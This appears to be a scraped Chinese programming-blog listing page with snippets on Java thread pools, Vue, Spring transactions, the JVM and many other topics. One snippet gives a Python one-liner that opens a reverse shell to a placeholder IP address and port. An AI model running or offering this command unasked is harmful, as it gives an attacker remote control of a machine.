- JavaScript深入理解与实战:作业6详解
红廉骑士兽
本文还有配套的精品资源,点击获取简介:本次作业深入探讨了JavaScript编程语言的基础语法、函数与闭包、对象与原型链、事件与DOM操作、异步编程、ES6新特性、框架与库的使用、性能优化以及调试与测试。JavaScript在Web开发中扮演关键角色,通过学习上述知识点,学生将能够提升Web应用开发技能,优化代码性能,并进行有效的代码调试与测试。1.JavaScript基础语法介绍与实战1.1Ja
- HtmlEx:HTML高级开发与实战指南
浮华ya
本文还有配套的精品资源,点击获取简介:HTML是创建网页的基础,而"HtmlEx"项目旨在提升开发者的HTML技能。内容包括HTML5新特性,CSS和JavaScript的深入集成,表单元素的使用和验证,多媒体支持,Web组件,SEO优化,无障碍性实践,HTML模板语言使用,以及与后端框架的集成。通过实践讲解,让开发者在网页开发中更加得心应手。1.HTML基本结构与元素1.1HTML文档结构解析H
- Java线程池任务提交与线程数量变化规则详解
2501_91537435
javajavapython开发语言
Java线程池任务提交与线程数量变化规则详解一、线程池核心参数回顾在深入探讨线程数量变化规则前,我们先回顾线程池的四个核心参数:ThreadPoolExecutorexecutor=newThreadPoolExecutor(corePoolSize,//核心线程数maximumPoolSize,//最大线程数keepAliveTime,//空闲线程存活时间unit,//时间单位workQueue
- Java线程池任务停止机制全面指南:优雅终止与强制中断
Java线程池任务停止机制全面指南:优雅终止与强制中断一、线程池任务停止概述在Java并发编程中,线程池任务的停止是一个需要谨慎处理的问题。不当的任务停止方式可能导致数据不一致、资源泄漏等问题。本文将深入探讨Java线程池中各种任务停止的方法和最佳实践。1.1为什么需要关注任务停止资源管理:避免线程和资源泄漏系统稳定性:防止任务意外中断导致系统状态异常响应性:快速响应系统关闭或配置变更需求数据一致
- vue面试题整理1
weixin_42339193
vue.js前端javascript
一、基础概念题1、Vue响应式原理是什么?如何检测数组变化?Vue的响应式原理主要是通过使用JavaScript的对象属性访问器(getters和setters)、依赖收集(dependencytracking)以及异步更新策略来实现的。以下是其核心概念:数据劫持/代理:Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
- 利用ShadowRoot 实现样式隔离
Helson@lin
javascriptchromedevtools
ShadowRootShadowDOMAPI的ShadowRoot接口是一个DOM子树的根节点,它与文档的主DOM树分开渲染。ShadowRoot的模式——可以是open或者closed。这定义了shadowroot的内部实现是否可被JavaScript访问及修改—也就是说ShadowRoot的特性图片来源:掘金(https://juejin.cn/post/6979489951108825095
- Python3爬虫笔记 -- urllib
Alst0n
PythonPython3urlliburllib.request
urllib库是Python内置的HTTP请求库,不需要额外安装。它包含如下4个模块:request:HTTP请求模块error:异常处理模块parse:提供URL处理方法,包括拆分、解析、合并等robotparser:识别网站等robot.txt文件1、urllib.request发送请求连接URL,获取返回页面的源代码;默认请求方式为GETimporturllib.requestrespons
- JVM核心技术解析
MoneyHacksPro
Java场景面试宝典JavaJVMClassLoading
我是廖志伟,一名Java开发工程师、《Java项目实战——深入理解大型互联网企业通用技术》(基础篇)、(进阶篇)、(架构篇)清华大学出版社签约作家、Java领域优质创作者、CSDN博客专家、阿里云专家博主、51CTO专家博主、产品软文专业写手、技术文章评审老师、技术类问卷调查设计师、幕后大佬社区创始人、开源项目贡献者。拥有多年一线研发和团队管理经验,研究过主流框架的底层源码(Spring、Spri
- C# 讯飞语音唤醒
jones.s
c#
publicpartialclassMainWindow:Window{//导入C/C++的库文件[DllImport("msc_x64.dll",CallingConvention=CallingConvention.Winapi)]publicstaticexternintMSPLogin(stringusername,stringpassword,stringloginParams);[Dl
- linux部署jar项目报错_linux服务器部署jar包以及shell脚本的书写
weixin_39933356
linux部署jar项目报错
背景:记录在linux环境下部署jar程序的过程1部署过程记录1.1程序结构这里的main函数就在DemRest2.java文件中。为了部署方便,要做到以下两点:1在导出的jar包中不包含依赖的jar文件2程序用到的配置文件可以让用户进行自定义,不将其放在jar包中。1.2导出jar包这里导出普通的jar包即可。为了方便传输,只导出必须的程序文件。在jar包导出后,进入导出的jar包中,将配置文件
- linux替换war包中的文件,Linux zip与unzip命令:替换war包中的某个文件
祝峰
linux替换war包中的文件
原本,想用jar命令来快速替换war包的文件的,可是,发现Ubuntu中没有装Java,懒癌发做,遂使用zip与unzip命令代替。appzip:压缩命令ide格式:zip[-选项]*.war要压缩的文件例子:zip-mapp.war/WEB-INF/classes/com/app/business/service/platform/impl/abc.classspa选项:orm-m:不检查而替换
- flutter结合ai工具(其他语言通用)
程一个大前端
flutter人工智能
一、为什么Flutter开发者需要免费AI工具?1.减少重复性编码Flutter开发中,UI组件、网络请求、状态管理等代码高度重复,AI可自动生成这些代码。示例:输入"创建一个MaterialDesign风格的登录页面",AI工具能生成完整代码,减少手动编写时间2。2.加速调试与错误修复AI可分析运行时错误,提供修复建议,甚至自动修复常见问题。案例:当Dart代码出现NullPointerExce
- 使用 Python 实现反弹 shell
suanfa_student
pythonchrome开发语言
使用Python实现反弹shell如果目标系统有Python环境,可以使用以下Python命令反弹shell:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
- 外观模式 - Flutter中的一键操作大师,复杂功能的极简入口!
明似水
flutter外观模式flutterjavascript
痛点场景:多步骤的用户注册流程假设你的应用需要处理以下注册步骤:验证邮箱格式检查密码强度调用注册API保存用户Token初始化用户配置同步基础数据发送欢迎邮件传统实现方式:FutureregisterUser(Stringemail,Stringpassword)async{//1.验证邮箱if(!EmailValidator.validate(email)){throwInvalidEmailE
- 详细介绍python中的模块、包、库之间的区别和联系
Melody.
python开发语言
在Python中,模块(Module)、包(Package)和库(Library)是三个重要的概念,它们用于组织代码和实现代码复用。下面详细解释这三个概念:1.模块(Module)定义:一个模块就是一个以.py为后缀的Python文件。这个文件可以包含函数、类、变量以及可执行的代码。作用:模块用于将相关的代码组织在一个文件中,便于管理和重用。使用:通过import语句导入模块,然后使用模块名加点操
- 解决getSubject is supported only if a security manager is allowed
使用JDK23后报错getSubjectissupportedonlyifasecuritymanagerisallowed,解决方法:启动java时添加参数-Djava.security.manager=allow官方文档说明:MigratingfromtheDeprecated-for-RemovalMethodsSubject::getSubjectandSubject::doAstoSub
- SDL渲染RGB数据到QT的控件中通过定时器刷新
cpp文件:#include"sdlqtrgb.h"#includestaticSDL_Window*sdl_win=NULL;staticSDL_Renderer*sdl_render=NULL;staticSDL_Texture*sdl_texture=NULL;staticintsdl_width=0;staticintsdl_height=0;staticunsignedchar*rgb=
- 关于 java:8. Java 内存模型与 JVM 基础
shenyan~
javajvm开发语言
一、堆Java堆是JVM中所有线程共享的运行时内存区域,用于存放所有对象实例、数组以及类的实例字段值。在Java中:Stringstr=newString("abc");newString("abc")创建的对象就分配在堆中。1.1堆的特点特性说明共享区域所有线程共享堆GC管理垃圾回收器对堆管理最频繁分代模型为提高GC性能,堆被划分为新生代/老年代等区域空间大堆是JVM管理内存中最大的区域慢速堆分
- DataInputStream与InputStream区别
sclibingqing
JAVA
1、DataInputStream类继承了InputStream。也就是说DataInputStream是InputStream的子类。但它们同是实现了DataInput接口。2、DataInputStream比普通的InputStream多一些方法。增加方法如下:publicabstractvoidreadFully(byteabyte0[])throwsIOException;publicab
- Authorization Basic认证 笔记
从未、淡定
javascript前端
Basic认证Basic认证过程简单介绍浏览器请求一个需要认证的网页。服务器向浏览器返回“401Unauthorized(未认证)”状态码。浏览器收到此状态码后,询问用户名和密码。浏览器发送附带认证信息(Authorization头信息)的请求。本次请求得到了文档(用户名密码均正确的情况下)。方案1:header添加Authorization原理说明:stringcode=‘fozzie:fozz
- Java用CompareTo方法实现根据两个或多个属性对对象进行排序
偶遇急雨洗心尘
javajvm开发语言servlet算法
CompareTo方法CompareTo是String类的方法,CompareTo(Objecto1,Objecto2),就是用o1和o2进行比较o1.compateTo(o2)大于0则o1大o1.compateTo(o2)小于0则o2大o1.compateTo(o2)等于0则一样大升序降序升序:publicstaticvoidmain(String[]args){ArrayListlist=ne
- JAVA设计模式之模板模式
偶遇急雨洗心尘
java设计模式开发语言
设计模式设计模式(DesignPattern)是前辈们对代码开发经验的总结,是解决特定问题的一系列套路。它不是语法规定,而是一套用来提高代码可复用性、可维护性、可读性、稳健性以及安全性的解决方案。总体来说设计模式分为三大类:创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。行
- Java多线程如何保证线程池里的线程都执行完毕
偶遇急雨洗心尘
javajvm开发语言
背景:项目中为了提高性能常常会引入多线程,当我们使用线程池时有时要满足“当线程池里的线程都执行完毕后才能进行下一步”这种业务场景,例如:当多线程操作一个文件时要保证所有线程都运行完毕才能保证文件的完整;当用多线程给一个对象的多个属性进行赋值时要保证线程都运行完毕才将此对象返回,否则就会出现对象属性不全。实现方式:1、使用isTerminated方法2、使用CountDownLatch3、使用awa
- Java中for循环中用break是跳出内层循环还是外层循环
偶遇急雨洗心尘
java算法jvm数据结构开发语言
背景:我们知道:for循环中常用“continue”跳过当前循环执行下个循环,常用“break”跳出循环,但是在for循环嵌套中break是仅跳出内层循环还是跳出所有循环呢?测试:publicstaticvoidmain(String[]args){for(inti=0;i<5;i++){for(intj=0;j<5;j++){if(j==3){break;}System.out.println(
- Spring boot 注解实现幂等性
夏壹分享
微服务技术体系java数据库spring
1.添加SpringAOP依赖在pom.xml中添加如下依赖:2.创建自定义幂等性注解创建一个新的Java注解类,通过@interface关键字来定义,并可以添加元注解以及属性。/***《像乌鸦一样思考》让孩子学会观察和独立思考!*https://www.sanzhiwa.top/6718.html*/@Retention(RetentionPolicy.RUNTIME)//程序运行时有效@Tar
- Java 中 DataSource-数据源 的基础介绍
Java中DataSource-数据源的基础介绍一、核心概念解析1.1数据源(DataSource)1.2数据库连接池(ConnectionPool)1.3二者关系1.4DataSource接口二、DataSource解决的问题与优势2.1DataSource的作用2.2传统方式的局限性2.3使用连接池DataSource的改进三、SpringBoot中DataSource的配置与使用3.1自动配
- Java--SpringBoot使用@Transactional注解添加事务
m0_54883970
面试学习路线阿里巴巴android前端后端
一、Java事务1、通常的观念认为,事务仅与数据库相关。事务必须服从ISO/IEC所制定的ACID原则。ACID是原子性(atomicity)、一致性(consistency)、**隔离性(isolation)和持久性(durability)**的缩写。事务的原子性:表示事务执行过程中的任何失败都将导致事务所做的任何修改失效。事务的一致性:表示当事务执行失败时,所有被该事务影响的数据都应该恢复到事
- springboot使用@Transactional失效问题排查
1、排查数据库引擎是不是InnoDB2、启动类是否开启@EnableTransactionManagement3、重点在使用@Transactional(rollbackFor=Exception.class)这个注解的类或者方法中是否有trycatch如果有,要在catch中设置手动回滚//设置手动回滚TransactionAspectSupport.currentTransactionStat
- Java 接口性能优化二
hqxstudying
数据库oraclesql
三、数据库层面:优化数据交互的「最后一公里」数据库是接口性能的「重灾区」——超过60%的接口响应慢问题可追溯至低效的数据交互。优化需从「SQL执行效率」「索引设计」「连接管理」三个维度突破。SQL优化:让查询「少走弯路」核心原则:减少无效数据扫描,让数据库「只做必要的工作」。常见问题与优化:**避免SELECT***:问题:返回冗余字段,增加数据传输量,无法利用覆盖索引。优化:明确指定需要的字段,
- java使用json一篇就够了
渐暖°
一篇就够了javajsonpython
java在调用第三方的接口时经常会获取到一堆json,一般都想转化成对应的实体来操作,具体的方式如下目录:raised_hand:四种方式:see_no_evil:分别举例1.JSON-Java库2.Jaskon3.Gson3.FastJSON:ram:FastJSON和GSON的区别✋四种方式1.JSON-Java库,org.json,这个库提供了用于解析和操作Java中的JSON的类。此外,这
- JVM StackMapTable 属性的作用及理解
lijingyao8206
jvm字节码Class文件StackMapTable
在Java 6版本之后JVM引入了栈图(Stack Map Table)概念。为了提高验证过程的效率,在字节码规范中添加了Stack Map Table属性,以下简称栈图,其方法的code属性中存储了局部变量和操作数的类型验证以及字节码的偏移量。也就是一个method需要且仅对应一个Stack Map Table。在Java 7版
- 回调函数调用方法
百合不是茶
java
最近在看大神写的代码时,.发现其中使用了很多的回调 ,以前只是在学习的时候经常用到 ,现在写个笔记 记录一下
代码很简单:
MainDemo :调用方法 得到方法的返回结果
- [时间机器]制造时间机器需要一些材料
comsci
制造
根据我的计算和推测,要完全实现制造一台时间机器,需要某些我们这个世界不存在的物质
和材料...
甚至可以这样说,这种材料和物质,我们在反应堆中也无法获得......
 
- 开口埋怨不如闭口做事
邓集海
邓集海 做人 做事 工作
“开口埋怨,不如闭口做事。”不是名人名言,而是一个普通父亲对儿子的训导。但是,因为这句训导,这位普通父亲却造就了一个名人儿子。这位普通父亲造就的名人儿子,叫张明正。 张明正出身贫寒,读书时成绩差,常挨老师批评。高中毕业,张明正连普通大学的分数线都没上。高考成绩出来后,平时开口怨这怨那的张明正,不从自身找原因,而是不停地埋怨自己家庭条件不好、埋怨父母没有给他创造良好的学习环境。
- jQuery插件开发全解析,类级别与对象级别开发
IT独行者
jquery开发插件 函数
jQuery插件的开发包括两种: 一种是类级别的插件开发,即给
jQuery添加新的全局函数,相当于给
jQuery类本身添加方法。
jQuery的全局函数就是属于
jQuery命名空间的函数,另一种是对象级别的插件开发,即给
jQuery对象添加方法。下面就两种函数的开发做详细的说明。
1
、类级别的插件开发 类级别的插件开发最直接的理解就是给jQuer
- Rome解析Rss
413277409
Rome解析Rss
import java.net.URL;
import java.util.List;
import org.junit.Test;
import com.sun.syndication.feed.synd.SyndCategory;
import com.sun.syndication.feed.synd.S
- RSA加密解密
无量
加密解密rsa
RSA加密解密代码
代码有待整理
package com.tongbanjie.commons.util;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerat
- linux 软件安装遇到的问题
aichenglong
linux遇到的问题ftp
1 ftp配置中遇到的问题
500 OOPS: cannot change directory
出现该问题的原因:是SELinux安装机制的问题.只要disable SELinux就可以了
修改方法:1 修改/etc/selinux/config 中SELINUX=disabled
2 source /etc
- 面试心得
alafqq
面试
最近面试了好几家公司。记录下;
支付宝,面试我的人胖胖的,看着人挺好的;博彦外包的职位,面试失败;
阿里金融,面试官人也挺和善,只不过我让他吐血了。。。
由于印象比较深,记录下;
1,自我介绍
2,说下八种基本类型;(算上string。楼主才答了3种,哈哈,string其实不是基本类型,是引用类型)
3,什么是包装类,包装类的优点;
4,平时看过什么书?NND,什么书都没看过。。照样
- java的多态性探讨
百合不是茶
java
java的多态性是指main方法在调用属性的时候类可以对这一属性做出反应的情况
//package 1;
class A{
public void test(){
System.out.println("A");
}
}
class D extends A{
public void test(){
S
- 网络编程基础篇之JavaScript-学习笔记
bijian1013
JavaScript
1.documentWrite
<html>
<head>
<script language="JavaScript">
document.write("这是电脑网络学校");
document.close();
</script>
</h
- 探索JUnit4扩展:深入Rule
bijian1013
JUnitRule单元测试
本文将进一步探究Rule的应用,展示如何使用Rule来替代@BeforeClass,@AfterClass,@Before和@After的功能。
在上一篇中提到,可以使用Rule替代现有的大部分Runner扩展,而且也不提倡对Runner中的withBefores(),withAfte
- [CSS]CSS浮动十五条规则
bit1129
css
这些浮动规则,主要是参考CSS权威指南关于浮动规则的总结,然后添加一些简单的例子以验证和理解这些规则。
1. 所有的页面元素都可以浮动 2. 一个元素浮动后,会成为块级元素,比如<span>,a, strong等都会变成块级元素 3.一个元素左浮动,会向最近的块级父元素的左上角移动,直到浮动元素的左外边界碰到块级父元素的左内边界;如果这个块级父元素已经有浮动元素停靠了
- 【Kafka六】Kafka Producer和Consumer多Broker、多Partition场景
bit1129
partition
0.Kafka服务器配置
3个broker
1个topic,6个partition,副本因子是2
2个consumer,每个consumer三个线程并发读取
1. Producer
package kafka.examples.multibrokers.producers;
import java.util.Properties;
import java.util.
- zabbix_agentd.conf配置文件详解
ronin47
zabbix 配置文件
Aliaskey的别名,例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1], 或者ttlsa的用户ID。你可以使用key:vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1],也可以使用ttlsa.userid。备注: 别名不能重复,但是可以有多个
- java--19.用矩阵求Fibonacci数列的第N项
bylijinnan
fibonacci
参考了网上的思路,写了个Java版的:
public class Fibonacci {
final static int[] A={1,1,1,0};
public static void main(String[] args) {
int n=7;
for(int i=0;i<=n;i++){
int f=fibonac
- Netty源码学习-LengthFieldBasedFrameDecoder
bylijinnan
javanetty
先看看LengthFieldBasedFrameDecoder的官方API
http://docs.jboss.org/netty/3.1/api/org/jboss/netty/handler/codec/frame/LengthFieldBasedFrameDecoder.html
API举例说明了LengthFieldBasedFrameDecoder的解析机制,如下:
实
- AES加密解密
chicony
加密解密
AES加解密算法,使用Base64做转码以及辅助加密:
package com.wintv.common;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Decod
- 文件编码格式转换
ctrain
编码格式
package com.test;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
- mysql 在linux客户端插入数据中文乱码
daizj
mysql中文乱码
1、查看系统客户端,数据库,连接层的编码
查看方法: http://daizj.iteye.com/blog/2174993
进入mysql,通过如下命令查看数据库编码方式: mysql> show variables like 'character_set_%'; +--------------------------+------
- 好代码是廉价的代码
dcj3sjt126com
程序员读书
长久以来我一直主张:好代码是廉价的代码。
当我跟做开发的同事说出这话时,他们的第一反应是一种惊愕,然后是将近一个星期的嘲笑,把它当作一个笑话来讲。 当他们走近看我的表情、知道我是认真的时,才收敛一点。
当最初的惊愕消退后,他们会用一些这样的话来反驳: “好代码不廉价,好代码是采用经过数十年计算机科学研究和积累得出的最佳实践设计模式和方法论建立起来的精心制作的程序代码。”
我只
- Android网络请求库——android-async-http
dcj3sjt126com
android
在iOS开发中有大名鼎鼎的ASIHttpRequest库,用来处理网络请求操作,今天要介绍的是一个在Android上同样强大的网络请求库android-async-http,目前非常火的应用Instagram和Pinterest的Android版就是用的这个网络请求库。这个网络请求库是基于Apache HttpClient库之上的一个异步网络请求处理库,网络处理均基于Android的非UI线程,通
- ORACLE 复习笔记之SQL语句的优化
eksliang
SQL优化Oracle sql语句优化SQL语句的优化
转载请出自出处:http://eksliang.iteye.com/blog/2097999
SQL语句的优化总结如下
sql语句的优化可以按照如下六个步骤进行:
合理使用索引
避免或者简化排序
消除对大表的扫描
避免复杂的通配符匹配
调整子查询的性能
EXISTS和IN运算符
下面我就按照上面这六个步骤分别进行总结:
- 浅析:Android 嵌套滑动机制(NestedScrolling)
gg163
android移动开发滑动机制嵌套
谷歌在发布安卓 Lollipop版本之后,为了更好的用户体验,Google为Android的滑动机制提供了NestedScrolling特性
NestedScrolling的特性可以体现在哪里呢?<!--[if !supportLineBreakNewLine]--><!--[endif]-->
比如你使用了Toolbar,下面一个ScrollView,向上滚
- 使用hovertree菜单作为后台导航
hvt
JavaScriptjquery.nethovertreeasp.net
hovertree是一个jquery菜单插件,官方网址:http://keleyi.com/jq/hovertree/ ,可以登录该网址体验效果。
0.1.3版本:http://keleyi.com/jq/hovertree/demo/demo.0.1.3.htm
hovertree插件包含文件:
http://keleyi.com/jq/hovertree/css
- SVG 教程 (二)矩形
天梯梦
svg
SVG <rect> SVG Shapes
SVG有一些预定义的形状元素,可被开发者使用和操作:
矩形 <rect>
圆形 <circle>
椭圆 <ellipse>
线 <line>
折线 <polyline>
多边形 <polygon>
路径 <path>
- 一个简单的队列
luyulong
java数据结构队列
public class MyQueue {
private long[] arr;
private int front;
private int end;
// 有效数据的大小
private int elements;
public MyQueue() {
arr = new long[10];
elements = 0;
front
- 基础数据结构和算法九:Binary Search Tree
sunwinner
Algorithm
A binary search tree (BST) is a binary tree where each node has a Comparable key (and an associated value) and satisfies the restriction that the key in any node is larger than the keys in all
- 项目出现的一些问题和体会
Steven-Walker
DAOWebservlet
第一篇博客不知道要写点什么,就先来点近阶段的感悟吧。
这几天学了servlet和数据库等知识,就参照老方的视频写了一个简单的增删改查的,完成了最简单的一些功能,使用了三层架构。
dao层完成的是对数据库具体的功能实现,service层调用了dao层的实现方法,具体对servlet提供支持。
&
- 高手问答:Java老A带你全面提升Java单兵作战能力!
ITeye管理员
java
本期特邀《Java特种兵》作者:谢宇,CSDN论坛ID: xieyuooo 针对JAVA问题给予大家解答,欢迎网友积极提问,与专家一起讨论!
作者简介:
淘宝网资深Java工程师,CSDN超人气博主,人称“胖哥”。
CSDN博客地址:
http://blog.csdn.net/xieyuooo
作者在进入大学前是一个不折不扣的计算机白痴,曾经被人笑话过不懂鼠标是什么,